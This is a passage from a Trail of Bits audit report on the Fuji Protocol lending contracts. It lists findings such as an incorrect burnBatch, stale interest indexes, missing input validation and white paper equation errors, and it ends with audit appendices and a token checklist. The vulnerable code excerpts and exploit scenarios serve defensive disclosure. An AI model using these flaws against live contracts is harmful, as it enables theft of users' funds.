C O N F I D E N T I A L R e c o m m e n d a t i o n s Short term, replace setFactor with four separate functions, each of which sets one of the four state variables. Long term, avoid string constants that simulate enumerations, as they cannot be checked by the typechecker. Instead, use enums and ensure that any code that depends on enum values handles all possible values. T r a i l o f B i t s 21 Fuji Protocol C O N F I D E N T I A L 5 . P r e c o n d i t i o n s s p e c i fi e d i n d o c s t r i n g s a r e n o t c h e c k e d b y f u n c t i o n s Severity: Informational Difficulty: Undetermined Type: Data Validation Finding ID: TOB-FUJI-005 Target: FujiVault.sol , Controller.sol D e s c r i p t i o n The docstrings of several functions specify preconditions that the functions do not automatically check for. For example, the docstring of the FujiVault contract’s setFactor function contains the preconditions shown in figure 5.1, but the function’s body does not contain the corresponding checks shown in figure 5.2. * For safetyF; Sets Safety Factor of Vault, should be > 1, a/b * For collatF; Sets Collateral Factor of Vault, should be > 1, a/b Figure 5.1: FujiVault.sol#L469-470 require (safetyF.a > safetyF.b); ... require (collatF.a > collatF.b); Figure 5.2: The checks that are missing from FujiVault.setFactor Additionally, the docstring of the Controller contract’s doRefinancing function contains the preconditions shown in figure 5.3, but the function’s body does not contain the corresponding checks shown in figure 5.4. * @param _ratioB: _ratioA/_ratioB <= 1, and > 0 Figure 5.3: Controller.sol#L41 require (ratioA > 0 && ratioB > 0 ); require (ratioA <= ratioB); Figure 5.4: The checks that are missing from Controller.doRefinancing E x p l o i t S c e n a r i o The setFactor function is called with values that violate its documented preconditions. Because the function does not check for these preconditions, unexpected behavior occurs. T r a i l o f B i t s 22 Fuji Protocol C O N F I D E N T I A L R e c o m m e n d a t i o n s Short term, add checks for preconditions to all functions with preconditions specified in their docstrings. Long term, ensure that all documentation and code are in sync. T r a i l o f B i t s 23 Fuji Protocol C O N F I D E N T I A L 6 . T h e F u j i E R C 1 1 5 5 . b u r n B a t c h f u n c t i o n i m p l e m e n t a t i o n i s i n c o r r e c t Severity: High Difficulty: Low Type: Data Validation Finding ID: TOB-FUJI-006 Target: FujiERC1155.sol D e s c r i p t i o n The FujiERC1155 contract’s burnBatch function deducts the unscaled amount from the user's balance and from the total supply of an asset. If the liquidity index of an asset ( index[assetId] ) is different from its initialized value, the execution of burnBatch could result in unintended arithmetic calculations. Instead of deducting the amount value, the function should deduct the amountScaled value. function burnBatch ( address _account , uint256 [] memory _ids, uint256 [] memory _amounts ) external onlyPermit { require (_account != address ( 0 ), Errors.VL_ZERO_ADDR_1155); require (_ids.length == _amounts.length, Errors.VL_INPUT_ERROR); address operator = _msgSender(); uint256 accountBalance ; uint256 assetTotalBalance ; uint256 amountScaled ; for ( uint256 i = 0 ; i < _ids.length; i++) { uint256 amount = _amounts[i]; accountBalance = _balances[_ids[i]][_account]; assetTotalBalance = _totalSupply[_ids[i]]; amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]); require (amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT); _balances[_ids[i]][_account] = accountBalance - amount; _totalSupply[_ids[i]] = assetTotalBalance - amount; } emit TransferBatch(operator, _account, address ( 0 ), _ids, _amounts); } Figure 6.1: FujiERC1155.sol#L218-247 T r a i l o f B i t s 24 Fuji Protocol C O N F I D E N T I A L E x p l o i t S c e n a r i o The burnBatch function is called with an asset for which the liquidity index is different from its initialized value. Because amount was used instead of amountScaled , unexpected behavior occurs. R e c o m m e n d a t i o n s Short term, revise the burnBatch function so that it uses amountScaled instead of amount when updating a user’s balance and the total supply of an asset. Long term, use the burn function in the burnBatch function to keep functionality consistent. T r a i l o f B i t s 25 Fuji Protocol C O N F I D E N T I A L 7 . E r r o r i n t h e w h i t e p a p e r ’ s e q u a t i o n f o r t h e c o s t o f r e fi n a n c i n g Severity: Informational Difficulty: Undetermined Type: Arithmetic Finding ID: TOB-FUJI-007 Target: White paper D e s c r i p t i o n The white paper uses the following equation (equation 4) to describe how the cost of refinancing is calculated: 𝑅 𝑐𝑜𝑠𝑡 = 𝑇 𝑥 𝑔𝑎𝑠 + 𝐺 𝑝𝑟𝑖𝑐𝑒 + 𝐸𝑇 𝐻 𝑝𝑟𝑖𝑐𝑒 + 𝐵 𝑑𝑒𝑏𝑡 + 𝐹 𝐿 𝑓𝑒𝑒 is the amount of debt to be refinanced and is a summand of the equation. This is 𝐵 𝑑𝑒𝑏𝑡 incorrect, as it implies that the refinancing cost is always greater than the amount of debt to be refinanced. A correct version of the equation could be , in which 𝑅 𝑐𝑜𝑠𝑡 = 𝑇 𝑥 𝑔𝑎𝑠 + 𝐺 𝑝𝑟𝑖𝑐𝑒 + 𝐸𝑇 𝐻 𝑝𝑟𝑖𝑐𝑒 + 𝐹 𝐿 𝑓𝑒𝑒 is an amount, or , in which is a 𝐹 𝐿 𝑓𝑒𝑒 𝑅 𝑐𝑜𝑠𝑡 = 𝑇 𝑥 𝑔𝑎𝑠 + 𝐺 𝑝𝑟𝑖𝑐𝑒 + 𝐸𝑇 𝐻 𝑝𝑟𝑖𝑐𝑒 + 𝐵 𝑑𝑒𝑏𝑡 * 𝐹 𝐿 𝑓𝑒𝑒 𝐹 𝐿 𝑓𝑒𝑒 percentage. R e c o m m e n d a t i o n s Short term, fix equation 4 in the white paper. Long term, ensure that the equations in the white paper are correct and in sync with the implementation. T r a i l o f B i t s 26 Fuji Protocol C O N F I D E N T I A L 8 . E r r o r s i n t h e w h i t e p a p e r ’ s e q u a t i o n f o r i n d e x c a l c u l a t i o n Severity: Medium Difficulty: Undetermined Type: Arithmetic Finding ID: TOB-FUJI-008 Target: White paper D e s c r i p t i o n The white paper uses the following equation (equation 1) to describe how the index for a given token at timestamp is calculated: 𝑡 𝐼 𝑡 = 𝐼 𝑡 − 1 +( 𝐵 𝑡 − 1 − 𝐵 𝑡 ) / 𝐵 𝑡 − 1 is the amount of the given token that the Fuji Protocol owes the provider (the borrowing 𝐵 𝑡 protocol) at timestamp . 𝑡 The index is updated only when the balance changes through the accrual of interest, not when the balance changes through borrowing or repayment operations. This means that is always negative, which is incorrect, as should calculate the 𝐵 𝑡 − 1 − 𝐵 𝑡 ( 𝐵 𝑡 − 1 − 𝐵 𝑡 ) / 𝐵 𝑡 − 1 interest rate since the last index update. The index represents the total interest rate since the deployment of the protocol. It is the product of the various interest rates accrued on the active providers during the lifetime of the protocol (measured only during state-changing interactions with the provider): . A user's current balance is computed by taking the user’s initial stored 𝑟 1 * 𝑟 2 * 𝑟 3 *... * 𝑟 𝑛 balance, multiplying it by the current index, and dividing it by the index at the time of the creation of that user's position. The division operation ensures that the user will not owe interest that accrued before the creation of the user’s position. The index provides an efficient way to keep track of interest rates without having to update each user's balance separately, which would be prohibitively expensive on Ethereum. However, interest is compounded through multiplication, not addition. The formula should use the product sign instead of the plus sign. T r a i l o f B i t s 27 Fuji Protocol C O N F I D E N T I A L E x p l o i t S c e n a r i o Alice decides to use the Fuji Protocol after reading the white paper. She later learns that calculations in the white paper do not match the implementations in the protocol. Because Alice allocated her funds based on her understanding of the specification, she loses funds. R e c o m m e n d a t i o n s Short term, replace equation 1 in the white paper with a correct and simplified version. For more information on the simplified version, see finding TOB-FUJI-015 . 𝐼 𝑡 = 𝐼 𝑡 − 1 * 𝐵 𝑡 / 𝐵 𝑡 − 1 Long term, ensure that the equations in the white paper are correct and in sync with the implementation. T r a i l o f B i t s 28 Fuji Protocol C O N F I D E N T I A L 9 . F u j i E R C 1 1 5 5 . s e t U R I d o e s n o t a d h e r e t o t h e E I P - 1 1 5 5 s p e c i fi c a t i o n Severity: Informational Difficulty: Undetermined Type: Auditing and Logging Finding ID: TOB-FUJI-009 Target: FujiERC1155.sol D e s c r i p t i o n The FujiERC1155 contract’s setURI function does not emit the URI event . /** * @dev Sets a new URI for all token types, by relying on the token type ID */ function setURI ( string memory _newUri) public onlyOwner { _uri = _newUri; } Figure 9.1: FujiERC1155.sol#L266-268 This behavior does not adhere to the EIP-1155 specification, which states the following: Changes to the URI MUST emit the URI event if the change can be expressed with an event (i.e. it isn’t dynamic/programmatic). Figure 9.2: A snippet of the EIP-1155 specification R e c o m m e n d a t i o n s Short term, revise the setURI function so that it emits the URI event. Long term, review the EIP-1155 specification to verify that the contracts adhere to the standard. R e f e r e n c e s ● EIP-1155 T r a i l o f B i t s 29 Fuji Protocol C O N F I D E N T I A L 1 0 . P a r t i a l r e fi n a n c i n g o p e r a t i o n s c a n b r e a k t h e p r o t o c o l Severity: Medium Difficulty: Medium Type: Undefined Behavior Finding ID: TOB-FUJI-010 Target: FujiVault.sol , Controller.sol , white paper D e s c r i p t i o n The white paper documents the Controller contract’s ability to perform partial refinancing operations. These operations move only a fraction of debt and collateral from one provider to another to prevent unprofitable interest rate slippage. However, the protocol does not correctly support partial refinancing situations in which debt and collateral are spread across multiple providers. For example, payback and withdrawal operations always interact with the current provider, which might not contain enough funds to execute these operations. Additionally, the interest rate indexes are computed only from the debt owed to the current provider, which might not accurately reflect the interest rate across all providers. E x p l o i t S c e n a r i o An executor performs a partial refinancing operation. Interest rates are computed incorrectly, resulting in a loss of funds for either the users or the protocol. R e c o m m e n d a t i o n s Short term, disable partial refinancing until the protocol supports it in all situations. Long term, ensure that functionality that is not fully supported by the protocol cannot be used by accident. T r a i l o f B i t s 30 Fuji Protocol C O N F I D E N T I A L 1 1 . N a t i v e s u p p o r t f o r e t h e r i n c r e a s e s t h e c o d e b a s e ’ s c o m p l e x i t y Severity: Informational Difficulty: Undetermined Type: Undefined Behavior Finding ID: TOB-FUJI-011 Target: Throughout D e s c r i p t i o n The protocol supports ERC20 tokens and Ethereum’s native currency, ether. Ether transfers follow different semantics than token transfers. As a result, many functions contain extra code, like the code shown in figure 11.1, to handle ether transfers. if (vAssets.borrowAsset == ETH) { require ( msg.value >= amountToPayback, Errors.VL_AMOUNT_ERROR); if ( msg.value > amountToPayback) { IERC20Upgradeable(vAssets.borrowAsset).univTransfer( payable ( msg.sender ), msg.value - amountToPayback ); } } else { // Check User Allowance require ( IERC20Upgradeable(vAssets.borrowAsset).allowance( msg.sender , address ( this )) >= amountToPayback, Errors.VL_MISSING_ERC20_ALLOWANCE ); Figure 11.1: FujiVault.sol#L319-333 This extra code increases the codebase’s complexity. Furthermore, functions will behave differently depending on their arguments. R e c o m m e n d a t i o n s Short term, replace native support for ether with support for ERC20 WETH. This will decrease the complexity of the protocol and the likelihood of bugs. T r a i l o f B i t s 31 Fuji Protocol C O N F I D E N T I A L 1 2 . M i s s i n g e v e n t s f o r c r i t i c a l o p e r a t i o n s Severity: Low Difficulty: Low Type: Auditing and Logging Finding ID: TOB-FUJI-012 Target: Throughout D e s c r i p t i o n Many functions that make important state changes do not emit events. These functions include, but are not limited to, the following: ● All setters in the FujiAdmin contract ● The setFujiAdmin , setFujiERC1155 , setFactor , setOracle , and setProviders functions in the FujiVault contract ● The setMapping and setURI functions in the FujiMapping contract ● The setFujiAdmin and setExecutors functions in the Controller contract ● The setURI and setPermit functions in the FujiERC1155 contract ● The setPriceFeed function in the FujiOracle contract E x p l o i t s c e n a r i o An attacker gains permission to execute an operation that changes critical protocol parameters. She executes the operation, which does not emit an event. Neither the Fuji Protocol team nor the users are notified about the parameter change. The attacker uses the changed parameter to steal funds. Later, the attack is detected due to the missing funds, but it is too late to react and mitigate the attack. R e c o m m e n d a t i o n s Short term, ensure that all state-changing operations emit events. Long term, use an event monitoring system like Tenderly or Defender, use Defender’s automated incident response feature, and develop an incident response plan to follow in case of an emergency. T r a i l o f B i t s 32 Fuji Protocol C O N F I D E N T I A L 1 3 . I n d e x e s a r e n o t u p d a t e d b e f o r e a l l o p e r a t i o n s t h a t r e q u i r e u p - t o - d a t e i n d e x e s Severity: High Difficulty: Low Type: Undefined Behavior Finding ID: TOB-FUJI-013 Target: FujiVault.sol , FujiERC1155.sol , FLiquidator.sol D e s c r i p t i o n The FujiERC1155 contract uses indexes to keep track of interest rates. Refer to Appendix F for more detail on the index calculation. The FujiVault contract’s updateF1155Balances function is responsible for updating indexes. However, this function is not called before all operations that read indexes. As a result, these operations use outdated indexes, which results in incorrect accounting and could make the protocol vulnerable to exploits. FujiVault.deposit calls FujiERC1155._mint , which reads indexes but does not call updateF1155Balances . FujiVault.paybackLiq calls FujiERC1155.balanceOf , which reads indexes but does not call updateF1155Balances . E x p l o i t S c e n a r i o The indexes have not been updated in one day. User Bob deposits collateral into the FujiVault . Day-old indexes are used to compute Bob’s scaled amount, causing Bob to gain interest for an additional day for free. R e c o m m e n d a t i o n s Short term, ensure that all operations that require up-to-date indexes first call updateF1155Balances . Write tests for each function that depends on up-to-date indexes with assertions that fail if indexes are outdated. Long term, redesign the way indexes are accessed and updated such that a developer cannot simply forget to call updateF1155Balances . T r a i l o f B i t s 33 Fuji Protocol C O N F I D E N T I A L 1 4 . N o p r o t e c t i o n a g a i n s t m i s s i n g i n d e x u p d a t e s b e f o r e o p e r a t i o n s t h a t d e p e n d o n u p - t o - d a t e i n d e x e s Severity: Informational Difficulty: Low Type: Undefined Behavior Finding ID: TOB-FUJI-014 Target: FujiVault.sol , FujiERC1155.sol , FLiquidator.sol D e s c r i p t i o n The FujiERC1155 contract uses indexes to keep track of interest rates. Refer to Appendix F for more detail on the index calculation. The FujiVault contract’s updateF1155Balances function is responsible for updating indexes. This function must be called before all operations that read indexes ( TOB-FUJI-013 ). However, the protocol does not protect against situations in which indexes are not updated before they are read; these situations could result in incorrect accounting. E x p l o i t S c e n a r i o Developer Bob adds a new operation that reads indexes, but he forgets to add a call to updateF1155Balances . As a result, the new operation uses outdated index values, which causes incorrect accounting. R e c o m m e n d a t i o n s Short term, redesign the index calculations so that they provide protection against the reading of outdated indexes. For example, the index calculation process could keep track of the last index update’s block number and access indexes exclusively through a getter, which updates the index automatically, if it has not already been updated for the current block. Since ERC-1155’s balanceOf and totalSupply functions do not allow side effects, this solution would require the use of different functions internally. Long term, use defensive coding practices to ensure that critical operations are always executed when required. T r a i l o f B i t s 34 Fuji Protocol C O N F I D E N T I A L 1 5 . F o r m u l a f o r i n d e x c a l c u l a t i o n i s u n n e c e s s a r i l y c o m p l e x Severity: Informational Difficulty: Undetermined Type: Arithmetic Finding ID: TOB-FUJI-015 Target: FujiERC1155.sol D e s c r i p t i o n Indexes are updated within the FujiERC1155 contract’s updateState function, shown in figure 15.1. Refer to Appendix F for more detail on the index calculation. function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit { uint256 total = totalSupply(_assetID); if (newBalance > 0 && total > 0 && newBalance > total) { uint256 diff = newBalance - total; uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay()); uint256 result = amountToIndexRatio + WadRayMath.ray(); result = result .rayMul(indexes[_assetID]); require( result <= type(uint128). max , Errors.VL_INDEX_OVERFLOW); indexes[_assetID] = uint128( result ); // TODO : calculate interest rate for a fujiOptimizer Fee. } } Figure 15.1: FujiERC1155.sol#L40-57 The code in figure 14.1 translates to the following equation: 𝑖𝑛𝑑𝑒 𝑥 𝑡 = 𝑖𝑛𝑑𝑒 𝑥 𝑡 − 1 *( 1 +( 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 ) / 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 ) Using the distributive property, we can transform this equation into the following: 𝑖𝑛𝑑𝑒 𝑥 𝑡 = 𝑖𝑛𝑑𝑒 𝑥 𝑡 − 1 *( 1 + 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 / 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 − 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 / 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 ) This version can then be simplified: 𝑖𝑛𝑑𝑒 𝑥 𝑡 = 𝑖𝑛𝑑𝑒 𝑥 𝑡 − 1 *( 1 + 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 / 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 − 1 ) T r a i l o f B i t s 35 Fuji Protocol C O N F I D E N T I A L Finally, we can simplify the equation even further: 𝑖𝑛𝑑𝑒 𝑥 𝑡 = 𝑖𝑛𝑑𝑒 𝑥 𝑡 − 1 * 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 / 𝑏𝑎𝑙𝑎𝑛𝑐 𝑒 𝑡 − 1 The resulting equation is simpler and more intuitively conveys the underlying idea—that the index grows by the same ratio as the balance grew since the last index update. R e c o m m e n d a t i o n s Short term, use the simpler index calculation formula in the updateState function of the Fuji1155Contract . This will result in code that is more intuitive and that executes using slightly less gas. Long term, use simpler versions of the equations used by the protocol to make the arithmetic easier to understand and implement correctly. T r a i l o f B i t s 36 Fuji Protocol C O N F I D E N T I A L 1 6 . F l a s h e r ’ s i n i t i a t e F l a s h l o a n f u n c t i o n d o e s n o t r e v e r t o n i n v a l i d fl a s h n u m v a l u e s Severity: Low Difficulty: High Type: Data Validation Finding ID: TOB-FUJI-016 Target: Flasher.sol D e s c r i p t i o n The Flasher contract’s initiateFlashloan function does not initiate a flash loan or perform a refinancing operation if the flashnum parameter is set to a value greater than 2. However, the function does not revert on invalid flashnum values. function initiateFlashloan ( FlashLoan . Info calldata info , uint8 _flashnum ) external isAuthorized { if ( _flashnum == 0) { _initiateAaveFlashLoan ( info ) ; } else if ( _flashnum == 1) { _initiateDyDxFlashLoan ( info ) ; } else if ( _flashnum == 2) { _initiateCreamFlashLoan ( info ) ; } } Figure 16.1: Flasher.sol#L61-69 E x p l o i t S c e n a r i o Alice, an executor of the Fuji Protocol, calls Controller . doRefinancing with the flashnum parameter set to 3. As a result, no flash loan is initialized, and no refinancing happens; only the active provider is changed. This results in unexpected behavior. For example, if a user wants to repay his debt after refinancing, the operation will fail, as no debt is owed to the active provider. R e c o m m e n d a t i o n s Short term, revise initiateFlashloan so that it reverts when it is called with an invalid flashnum value. Long term, ensure that all functions revert if they are called with invalid values. T r a i l o f B i t s 37 Fuji Protocol C O N F I D E N T I A L 1 7 . D o c s t r i n g s d o n o t r e fl e c t f u n c t i o n s ’ i m p l e m e n t a t i o n s Severity: Low Difficulty: Undetermined Type: Undefined Behavior Finding ID: TOB-FUJI-017 Target: FujiVault.sol D e s c r i p t i o n The docstring of the FujiVault contract’s withdraw function states the following: * @param _withdrawAmount: amount of collateral to withdraw * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors) Figure 17.1: FujiVault.sol#L188-189 However, the maximum amount is withdrawn on any negative value, not only on a value of -1. A similar inconsistency between the docstring and the implementation exists in the FujiVault contract’s payback function. R e c o m m e n d a t i o n s Short term, adjust the withdraw and payback functions’ docstrings or their implementations to make them match. Long term, ensure that docstrings always match the corresponding function’s implementation. T r a i l o f B i t s 38 Fuji Protocol C O N F I D E N T I A L 1 8 . H a r v e s t e r ’ s g e t H a r v e s t T r a n s a c t i o n f u n c t i o n d o e s n o t r e v e r t o n i n v a l i d _ f a r m P r o t o c o l N u m a n d h a r v e s t T y p e v a l u e s Severity: Low Difficulty: Medium Type: Data Validation Finding ID: TOB-FUJI-018 Target: Harvester.sol D e s c r i p t i o n The Harvester contract’s getHarvestTransaction function incorrectly returns claimedToken and transaction values of 0 if the _farmProtocolNum parameter is set to a value greater than 1 or if the harvestType value is set to value greater than 2. However, the function does not revert on invalid _farmProtocolNum and harvestType values. function getHarvestTransaction (uint256 _farmProtocolNum, bytes memory _data) external view override returns (address claimedToken, Transaction memory transaction) { if (_farmProtocolNum == 0 ) { transaction.to = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; transaction.data = abi.encodeWithSelector( bytes4(keccak256( "claimComp(address)" )), msg.sender ); claimedToken = 0xc00e94Cb662C3520282E6f5717214004A7f26888; } else if (_farmProtocolNum == 1 ) { uint256 harvestType = abi.decode(_data, (uint256)); if (harvestType == 0 ) { // claim (, address[] memory assets) = abi.decode(_data, (uint256, address[])); transaction.to = 0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5; transaction.data = abi.encodeWithSelector( bytes4(keccak256( "claimRewards(address[],uint256,address)" )), assets, type (uint256).max, msg.sender ); } else if (harvestType == 1 ) { // transaction.to = 0x4da27a545c0c5B758a6BA100e3a049001de870f5; transaction.data = abi.encodeWithSelector(bytes4(keccak256( "cooldown()" ))); } else if (harvestType == 2 ) { // transaction.to = 0x4da27a545c0c5B758a6BA100e3a049001de870f5; T r a i l o f B i t s 39 Fuji Protocol C O N F I D E N T I A L transaction.data = abi.encodeWithSelector( bytes4(keccak256( "redeem(address,uint256)" )), msg.sender, type (uint256).max ); claimedToken = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9; } } } Figure 18.1: Harvester.sol#L13-54 E x p l o i t S c e n a r i o Alice, an executor of the Fuji Protocol, calls getHarvestTransaction with the _farmProtocolNum parameter set to 2. As a result, rather than reverting, the function returns claimedToken and transaction values of 0. R e c o m m e n d a t i o n s Short term, revise getHarvestTransaction so that it reverts if it is called with invalid farmProtocolNum or harvestType values . Long term, ensure that all functions revert if they are called with invalid values. T r a i l o f B i t s 40 Fuji Protocol C O N F I D E N T I A L 1 9 . L a c k o f d a t a v a l i d a t i o n i n C o n t r o l l e r ’ s d o R e fi n a n c i n g f u n c t i o n Severity: Low Difficulty: High Type: Data Validation Finding ID: TOB-FUJI-019 Target: Controller.sol D e s c r i p t i o n The Controller contract’s doRefinancing function does not check the _newProvider value. Therefore, the function accepts invalid values for the _newProvider parameter. function doRefinancing( address _vaultAddr, address _newProvider, uint256 _ratioA, uint256 _ratioB, uint8 _flashNum ) external isValidVault(_vaultAddr) onlyOwnerOrExecutor { IVault vault = IVault(_vaultAddr); [...] [...] IVault(_vaultAddr).setActiveProvider(_newProvider); } Figure 19.1: Controller.sol#L44-84 E x p l o i t S c e n a r i o Alice, an executor of the Fuji Protocol, calls Controller.doRefinancing with the _newProvider parameter set to the same address as the active provider. As a result, unnecessary flash loan fees will be paid. R e c o m m e n d a t i o n s Short term, revise the doRefinancing function so that it reverts if _newProvider is set to the same address as the active provider. Long term, ensure that all functions revert if they are called with invalid values. T r a i l o f B i t s 41 Fuji Protocol C O N F I D E N T I A L 2 0 . L a c k o f d a t a v a l i d a t i o n o n f u n c t i o n p a r a m e t e r s Severity: Low Difficulty: Low Type: Data Validation Finding ID: TOB-FUJI-020 Target: Throughout D e s c r i p t i o n Certain setter functions fail to validate the addresses they receive as input. The following addresses are not validated: ● The addresses passed to all setters in the FujiAdmin contract ● The _newFujiAdmin address in the setFujiAdmin function in the Controller and FujiVault contracts ● The _provider address in the FujiVault.setActiveProvider function ● The _oracle address in the FujiVault.setOracle function ● The _providers addresses in the FujiVault.setProviders function ● The newOwner address in the transferOwnership function in the Claimable and ClaimableUpgradeable contracts E x p l o i t s c e n a r i o Alice, a member of the Fuji Protocol team, invokes the FujiVault.setOracle function and sets the oracle address as address(0) . As a result, code relying on the oracle address is no longer functional. R e c o m m e n d a t i o n s Short term, add zero-value or contract existence checks to the functions listed above to ensure that users cannot accidentally set incorrect values, misconfiguring the protocol. Long term, use Slither , which will catch missing zero checks. T r a i l o f B i t s 42 Fuji Protocol C O N F I D E N T I A L 2 1 . S o l i d i t y c o m p i l e r o p t i m i z a t i o n s c a n b e p r o b l e m a t i c Severity: Informational Difficulty: High Type: Undefined Behavior Finding ID: TOB-FUJI-021 Target: hardhat-config.js D e s c r i p t i o n Fuji Protocol has enabled optional compiler optimizations in Solidity. There have been several optimization bugs with security implications. Moreover, optimizations are actively being developed . Solidity compiler optimizations are disabled by default, and it is unclear how many contracts in the wild actually use them. Therefore, it is unclear how well they are being tested and exercised. High-severity security issues due to optimization bugs have occurred in the past . A high-severity bug in the emscripten -generated solc-js compiler used by Truffle and Remix persisted until late 2018. The fix for this bug was not reported in the Solidity CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results was patched in Solidity 0.5.6 . More recently, another bug due to the incorrect caching of keccak256 was reported. A compiler audit of Solidity from November 2018 concluded that the optional optimizations may not be safe . It is likely that there are latent bugs related to optimization and that new bugs will be introduced due to future optimizations. E x p l o i t S c e n a r i o A latent or future bug in Solidity compiler optimizations—or in the Emscripten transpilation to solc-js —causes a security vulnerability in the Fuji Protocol contracts. R e c o m m e n d a t i o n s Short term, measure the gas savings from optimizations and carefully weigh them against the possibility of an optimization-related bug. Long term, monitor the development and adoption of Solidity compiler optimizations to assess their maturity. T r a i l o f B i t s 43 Fuji Protocol C O N F I D E N T I A L A . V u l n e r a b i l i t y C a t e g o r i e s The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document. Vulnerability Categories Category Description Access Controls Insufficient authorization of users or assessment of rights Auditing and Logging Insufficient auditing of actions or logging of problems Authentication Improper identification of users Configuration Misconfigured servers, devices, or software components Cryptography Breach of the confidentiality or integrity of data Data Exposure Exposure of sensitive information Data Validation Improper reliance on the structure or values of data Denial of Service System failure with an availability impact Error Reporting Insecure or insufficient reporting of error conditions Patching Outdated software package or library Session Management Improper identification of authenticated users Testing Insufficient test methodology or test coverage Timing Race conditions, locking, or other order-of-operations flaws Undefined Behavior Undefined behavior triggered within the system T r a i l o f B i t s 44 Fuji Protocol C O N F I D E N T I A L Severity Levels Severity Description Informational The issue does not pose an immediate risk but is relevant to security best practices or defense in depth. Undetermined The extent of the risk was not determined during this engagement. Low The risk is relatively small or is not a risk the client has indicated is important. Medium Individual users’ information is at risk; exploitation could pose reputational, legal, or moderate financial risks to the client. High The issue could affect numerous users and have serious reputational, legal, or financial implications for the client. Difficulty Levels Difficulty Description Undetermined The difficulty of exploitation was not determined during this engagement. Low The flaw is commonly exploited; public tools for its exploitation exist or can be scripted. Medium An attacker must write an exploit or will need in-depth knowledge of a complex system. High An attacker must have privileged insider access to the system, may need to know extremely complex technical details, or must discover other weaknesses to exploit this issue. T r a i l o f B i t s 45 Fuji Protocol C O N F I D E N T I A L B . C o d e M a t u r i t y C a t e g o r i e s The following tables describe the code maturity categories and rating criteria used in this document. Code Maturity Categories Categories Description Access Controls The authentication and authorization of components Arithmetic The proper use of mathematical operations and semantics Assembly Use The use of inline assembly Centralization The existence of a single point of failure Upgradeability Contract upgradeability Function Composition The separation of the logic into functions with clear purposes Front-Running Resistance to front-running Key Management The existence of proper procedures for key generation, distribution, and access Monitoring The use of events and monitoring procedures Specification The comprehensiveness and readability of codebase documentation and specification Testing and Verification The use of testing techniques (e.g., unit tests and fuzzing) T r a i l o f B i t s 46 Fuji Protocol C O N F I D E N T I A L Rating Criteria Rating Description Strong The control was robust, documented, automated, and comprehensive. Satisfactory With a few minor exceptions, the control was applied consistently. Moderate The control was applied inconsistently in certain areas. Weak The control was applied inconsistently or not at all. Missing The control was missing. Not Applicable The control is not applicable. Not Considered The control was not reviewed. Further Investigation Required The control requires further investigation. T r a i l o f B i t s 47 Fuji Protocol C O N F I D E N T I A L C . T o k e n I n t e g r a t i o n C h e c k l i s t The following checklist provides recommendations for interactions with arbitrary tokens. Every unchecked item should be justified, and its associated risks, understood. Refer to an up-to-date version of the checklist on crytic/building-secure-contracts . For convenience, all Slither utilities can be run directly on a token address, such as the following: slither-check-erc 0xdac17f958d2ee523a2206206994597c13d831ec7 TetherToken To follow this checklist, use the below output from Slither for the token: - slither-check-erc [target] [contractName] [optional: --erc ERC_NUMBER] - slither [target] --print human-summary - slither [target] --print contract-summary - slither-prop . --contract ContractName # requires configuration, and use of Echidna and Manticore G e n e r a l S e c u r i t y C o n s i d e r a t i o n s ❏ The contract has a security review. Avoid interacting with contracts that lack a security review. Check the length of the assessment (i.e., the level of effort), the reputation of the security firm, and the number and severity of the findings. ❏ You have contacted the developers. You may need to alert their team to an incident. Look for appropriate contacts on blockchain-security-contacts . ❏ They have a security mailing list for critical announcements. Their team should advise users (like you!) when critical issues are found or when upgrades occur. E R C C o n f o r m i t y Slither includes a utility, slither-check-erc , that reviews the conformance of a token to many related ERC standards. Use slither-check-erc to review the following: ❏ Transfer and transferFrom return a boolean. Several tokens do not return a boolean on these functions. As a result, their calls in the contract might fail. ❏ The name , decimals , and symbol functions are present if used. These functions are optional in the ERC20 standard and may not be present. T r a i l o f B i t s 48 Fuji Protocol C O N F I D E N T I A L ❏ Decimals returns a uint8 . Several tokens incorrectly return a uint256 . In such cases, ensure that the value returned is below 255. ❏ The token mitigates the known ERC20 race condition . The ERC20 standard has a known ERC20 race condition that must be mitigated to prevent attackers from stealing tokens. ❏ The token is not an ERC777 token and has no external function call in transfer or transferFrom . External calls in the transfer functions can lead to reentrancies. Slither includes a utility, slither-prop , that generates unit tests and security properties that can discover many common ERC flaws. Use slither-prop to review the following: ❏ The contract passes all unit tests and security properties from slither-prop . Run the generated unit tests and then check the properties with Echidna and Manticore . Finally, there are certain characteristics that are difficult to identify automatically. Conduct a manual review of the following conditions: ❏ Transfer and transferFrom should not take a fee. Deflationary tokens can lead to unexpected behavior. ❏ Potential interest earned from the token is taken into account. Some tokens distribute interest to token holders. This interest may be trapped in the contract if not taken into account. C o n t r a c t C o m p o s i t i o n ❏ The contract avoids unnecessary complexity. The token should be a simple contract; a token with complex code requires a higher standard of review. Use Slither’s human-summary printer to identify complex code. ❏ The contract uses SafeMath . Contracts that do not use SafeMath require a higher standard of review. Inspect the contract by hand for SafeMath usage. ❏ The contract has only a few non-token-related functions. Non-token-related functions increase the likelihood of an issue in the contract. Use Slither’s contract-summary printer to broadly review the code used in the contract. ❏ The token has only one address. Tokens with multiple entry points for balance updates can break internal bookkeeping based on the address (e.g., balances[token_address][msg.sender] may not reflect the actual balance). T r a i l o f B i t s 49 Fuji Protocol C O N F I D E N T I A L O w n e r P r i v i l e g e s ❏ The token is not upgradeable. Upgradeable contracts may change their rules over time. Use Slither’s human-summary printer to determine if 